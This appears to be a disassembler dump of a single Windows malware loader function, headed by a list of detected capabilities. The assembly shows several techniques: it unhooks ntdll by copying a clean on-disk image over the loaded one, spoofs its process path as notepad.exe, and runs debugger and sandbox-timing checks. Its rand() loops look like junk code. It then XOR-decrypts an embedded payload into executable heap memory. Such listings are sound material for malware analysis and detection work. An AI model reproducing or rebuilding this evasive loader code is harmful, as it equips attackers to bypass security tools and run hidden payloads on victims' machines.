Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x908
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x870], xmm6
mov dword [rbp + 0x8b0], ecx
mov qword [rbp + 0x8b8], rdx
call fcn.140002bb0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7f8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7f0], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7e8], rax
mov ecx, 0xb48
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7e0], rax
mov dword [rbp + 0x868], 0
mov dword [rbp + 0x864], 0
mov dword [rbp + 0x86c], 0
jmp 0x1400015a1
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x86c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7e0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x86c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7e0]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x140001570
add dword [rbp + 0x868], 1
jmp 0x14000159a
mov eax, dword [rbp + 0x86c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7e0]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x14000159a
add dword [rbp + 0x864], 1
add dword [rbp + 0x86c], 1
cmp dword [rbp + 0x86c], 0x2d1
jle 0x1400014fe
mov rax, qword [rbp + 0x7e0]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x858], rax
cmp qword [rbp + 0x858], 0
jne 0x1400017cf
mov ecx, 0x848
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7d8], rax
mov dword [rbp + 0x854], 0
jmp 0x140001668
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x854]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7d8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x854], 1
cmp dword [rbp + 0x854], 0x211
jle 0x14000161b
mov dword [rbp + 0x854], 0
jmp 0x140001780
mov dword [rbp + 0x7d4], 0
jmp 0x140001762
mov eax, dword [rbp + 0x854]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7d8]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x7d4]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x7d8]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x14000175b
mov eax, dword [rbp + 0x7d4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7d8]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x7d0], eax
mov eax, dword [rbp + 0x854]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7d8]
add rax, rdx
mov edx, dword [rbp + 0x7d4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7d8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x7d4]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7d8]
add rdx, rax
mov eax, dword [rbp + 0x7d0]
mov dword [rdx], eax
add dword [rbp + 0x854], 1
mov eax, 0x211
sub eax, dword [rbp + 0x854]
cmp dword [rbp + 0x7d4], eax
jl 0x140001692
add dword [rbp + 0x854], 1
cmp dword [rbp + 0x854], 0x211
jle 0x140001683
mov rax, qword [rbp + 0x7d8]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x858], rax
cmp qword [rbp + 0x858], 0
je 0x140001bf6
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x650]
mov rax, qword [rbp + 0x7e8]
mov r10, qword [rbp + 0x858]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x7c8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7c0], rax
mov ecx, 0x14c0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7b8], rax
mov dword [rbp + 0x850], 0
jmp 0x1400018ca
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006658]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x850]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7b8]
add rax, rdx
movsd xmm1, qword [0x140006660]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x850], 1
cmp dword [rbp + 0x850], 0x297
jle 0x14000187c
mov dword [rbp + 0x850], 0
jmp 0x140001934
mov eax, dword [rbp + 0x850]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7b8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x850]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7b8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x850], 1
cmp dword [rbp + 0x850], 0x297
jle 0x1400018e2
mov rax, qword [rbp + 0x7c0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7b0], rax
mov rax, qword [rbp + 0x7b0]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7a8], rax
mov rax, qword [rbp + 0x7c8]
mov qword [rbp + 0x7a0], rax
mov rax, qword [rbp + 0x7a0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rdx
mov qword [rbp + 0x798], rax
mov word [rbp + 0x84e], 0
jmp 0x140001bde
mov rax, qword [rbp + 0x798]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x798]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x84e]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x790], rax
mov rax, qword [rbp + 0x790]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001bcd
mov dword [rbp + 0x848], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x840], xmm0
add dword [rbp + 0x848], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x848]
movsd xmm0, qword [0x140006660]
addsd xmm0, xmm1
mov rax, qword [0x140006668]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003e20
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x848]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006660]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x840]
addsd xmm0, xmm1
movsd qword [rbp + 0x840], xmm0
cmp dword [rbp + 0x848], 0x179
jle 0x140001a5a
movsd xmm1, qword [rbp + 0x840]
movsd xmm0, qword [0x140006670]
mulsd xmm0, xmm1
movsd qword [rbp + 0x840], xmm0
mov dword [rbp + 0x618], 0
mov rax, qword [rbp + 0x790]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x790]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x618]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x790]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x790]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7a8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x790]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x618]
mov rax, qword [rbp + 0x790]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x790]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x618]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x84e]
add eax, 1
mov word [rbp + 0x84e], ax
mov rax, qword [rbp + 0x798]
movzx eax, word [rax + 6]
cmp word [rbp + 0x84e], ax
jb 0x1400019ea
movsd xmm0, qword [0x140006678]
movsd qword [rbp + 0x838], xmm0
movsd xmm0, qword [0x140006680]
movsd qword [rbp + 0x788], xmm0
jmp 0x140001c41
movsd xmm0, qword [rbp + 0x788]
mov rax, qword [rbp + 0x838]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003e20
movq rax, xmm0
mov qword [rbp + 0x838], rax
movsd xmm0, qword [0x140006688]
comisd xmm0, xmmword [rbp + 0x838]
ja 0x140001c18
mov dword [rbp + 0x61c], 0
mov rax, qword [rbp + 0x7f8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x780], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x620]
lea rax, [rbp + 0x61c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x780]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov ecx, 0x1a48
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x778], rax
mov ecx, 0x1a48
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x770], rax
mov dword [rbp + 0x834], 0
jmp 0x140001d6f
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x834]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x778]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0x348
jle 0x140001ce5
mov dword [rbp + 0x834], 0
jmp 0x140001ddd
mov eax, dword [rbp + 0x834]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x778]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x834]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x770]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003ba0
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0x348
jle 0x140001d8b
mov rax, qword [rbp + 0x628]
add rax, 0x3c
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x768]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x760], rax
cmp qword [rbp + 0x760], 0
jne 0x140002ae7
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
call rax
mov dword [rbp + 0x754], eax
mov ecx, 0x36a
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x758]
call rax
mov dword [rbp + 0x750], eax
mov eax, dword [rbp + 0x750]
sub eax, dword [rbp + 0x754]
cmp eax, 0x338
jbe 0x140002ae7
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x748], rax
cmp qword [rbp + 0x748], 0
jne 0x140002ae7
lea rax, str.xsfulnbmzemkq.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x740], rax
cmp qword [rbp + 0x740], 0
jne 0x140002ae7
mov dword [rbp + 0x73c], 0x3bc
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x730], rax
mov rax, qword [rbp + 0x730]
call rax
mov dword [rbp + 0x72c], eax
mov eax, dword [rbp + 0x73c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x730]
call rax
mov dword [rbp + 0x728], eax
mov eax, dword [rbp + 0x728]
sub eax, dword [rbp + 0x72c]
cmp eax, 0x38a
jbe 0x140002ae7
mov dword [rbp + 0x724], 0x27f
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
call rax
mov dword [rbp + 0x714], eax
mov eax, dword [rbp + 0x724]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x718]
call rax
mov dword [rbp + 0x710], eax
mov eax, dword [rbp + 0x710]
sub eax, dword [rbp + 0x714]
cmp eax, 0x24d
jbe 0x140002ae7
mov dword [rbp + 0x614], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x614]
mov r8, qword [rbp + 0x708]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x614]
cmp eax, 1
je 0x140002ae7
mov dword [rbp + 0x610], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x700], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x610]
mov r8, qword [rbp + 0x700]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x610]
cmp eax, 1
je 0x140002ae7
mov qword [rbp + 0x6f8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f0], rax
mov rax, qword [rbp + 0x6f0]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x298ce80
mov ecx, 0
call rax
mov qword [rbp + 0x6f8], rax
cmp qword [rbp + 0x6f8], 0
je 0x140002ae7
mov rax, qword [rbp + 0x6f8]
mov edx, 0x298ce80
mov rcx, rax
call fcn.140004a80
mov rax, qword [rbp + 0x6f8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6e8], rax
cmp qword [rbp + 0x6e8], 0
je 0x1400021ec
mov rax, qword [rbp + 0x6e8]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
mov ecx, 0
call rax
mov dword [rbp + 0x830], eax
cmp dword [rbp + 0x830], 0xffffffff
je 0x140002ae7
lea rax, [rbp + 0xf0]
lea rdx, [0x140006140]
mov ecx, 0xa2
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov ecx, 0x1448
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d8], rax
mov ecx, 0x1448
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d0], rax
mov dword [rbp + 0x82c], 0
jmp 0x1400022e9
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x82c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6d8]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x82c], 1
cmp dword [rbp + 0x82c], 0x288
jle 0x14000225f
mov dword [rbp + 0x82c], 0
jmp 0x140002357
mov eax, dword [rbp + 0x82c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6d8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x82c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6d0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003ba0
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x82c], 1
cmp dword [rbp + 0x82c], 0x288
jle 0x140002305
mov rax, qword [rbp + 0x7f0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x7f0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x6c8]
mov r8d, 0
mov edx, 0x512
mov ecx, 0x40000
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6b8]
mov r9, qword [rbp + 0x6c0]
mov r8d, 0x512
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x7f8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
lea rdx, [rbp + 0xf0]
mov rax, qword [rbp + 0x6b0]
mov r9, qword [rbp + 0x6a8]
mov r8d, 0x512
mov rcx, rax
call r9
mov dword [rbp + 0x828], 0
mov dword [rbp + 0x824], 0
mov dword [rbp + 0x820], 0
movabs rax, 0xf98e62a50488d054
movabs rdx, 0xa18a25d74dc3cf34
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x5143269f0a2450ca
movabs rdx, 0xc500a3d023ba7496
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0xd9dceaf641938f19
movabs rdx, 0x20bf135994266bc9
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x61d9227c045fb737
movabs rdx, 0x608c612eb9109083
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x24e30927e3bdef7a
movabs rdx, 0xea684d881d53d91c
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x488383060ea68
mov qword [rbp + 0x6e], rax
movabs rax, 0x9bf7ef147519ccce
movabs rdx, 0xa1870b7237418132
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x426f6fa0bd5c0b38
movabs rdx, 0x61a60758d4190f38
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0xd2b1186e708dc83
movabs rdx, 0x1a6570d37c59a996
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x1b66fc0b97570a6a
movabs rdx, 0x8f88357f9ce7ac73
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0xdf688ef6612b78cb
movabs rdx, 0xd7d3fa29650e2f80
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0xe1ec838424d66fb8
movabs rdx, 0xf9a606e60d1c675f
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x615105f03195c6ef
movabs rdx, 0x605ebd5ff2aad5
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
jmp 0x1400028ad
cmp dword [rbp + 0x824], 0x6e
jne 0x140002741
mov dword [rbp + 0x67c], 0
mov dword [rbp + 0x814], 0
mov ecx, 0x1e30
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x670], rax
mov dword [rbp + 0x81c], 0
jmp 0x1400026d5
mov dword [rbp + 0x818], 0
jmp 0x1400026c1
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x81c]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
sub rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x670]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x818]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
mov eax, dword [rbp + 0x81c]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x670]
add rdx, rax
mov eax, dword [rbp + 0x818]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x1400026ba
add dword [rbp + 0x814], 1
add dword [rbp + 0x818], 1
cmp dword [rbp + 0x818], 0x1b
jle 0x140002628
add dword [rbp + 0x81c], 1
cmp dword [rbp + 0x81c], 0x44
jle 0x140002619
cmp dword [rbp + 0x814], 0x3c6
jne 0x1400026f8
mov dword [rbp + 0x67c], 1
mov rax, qword [rbp + 0x670]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, dword [rbp + 0x828]
cdqe
movzx edx, byte [rbp + rax + 0x20]
mov eax, dword [rbp + 0x824]
cdqe
movzx eax, byte [rbp + rax + 0x80]
xor edx, eax
mov eax, dword [rbp + 0x828]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x824], 0
jmp 0x1400028a6
mov dword [rbp + 0x808], 0
mov ecx, 0x45c8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x680], rax
mov dword [rbp + 0x810], 0
jmp 0x1400027e0
mov dword [rbp + 0x80c], 0
jmp 0x1400027d0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x19c2d14f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x9f
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x810]
cdqe
imul rcx, rax, 0xe8
mov rax, qword [rbp + 0x680]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x80c]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0x39
jle 0x140002774
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x4c
jle 0x140002768
mov dword [rbp + 0x810], 0
jmp 0x14000285c
mov dword [rbp + 0x80c], 0
jmp 0x14000284c
pxor xmm1, xmm1
cvtsi2ss xmm1, dword [rbp + 0x808]
mov eax, dword [rbp + 0x810]
cdqe
imul rdx, rax, 0xe8
mov rax, qword [rbp + 0x680]
add rdx, rax
mov eax, dword [rbp + 0x80c]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x808], eax
add dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0x39
jle 0x140002805
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x4c
jle 0x1400027f9
mov rax, qword [rbp + 0x680]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, dword [rbp + 0x828]
cdqe
movzx edx, byte [rbp + rax + 0x20]
mov eax, dword [rbp + 0x824]
cdqe
movzx eax, byte [rbp + rax + 0x80]
xor edx, eax
mov eax, dword [rbp + 0x828]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x824], 1
add dword [rbp + 0x828], 1
mov eax, dword [rbp + 0x828]
cmp eax, 0x54
jbe 0x1400025d8
mov dword [rbp + 0x828], 0
jmp 0x14000296a
cmp dword [rbp + 0x820], 0x54
jne 0x14000291e
mov eax, dword [rbp + 0x828]
movsxd rdx, eax
mov rax, qword [rbp + 0x6b0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x820]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x828]
movsxd rdx, eax
mov rax, qword [rbp + 0x6b0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x820], 0
jmp 0x140002963
mov eax, dword [rbp + 0x828]
movsxd rdx, eax
mov rax, qword [rbp + 0x6b0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x820]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x828]
movsxd rdx, eax
mov rax, qword [rbp + 0x6b0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x820], 1
add dword [rbp + 0x828], 1
cmp dword [rbp + 0x828], 0x511
jle 0x1400028cb
mov rax, qword [rbp + 0x6b0]
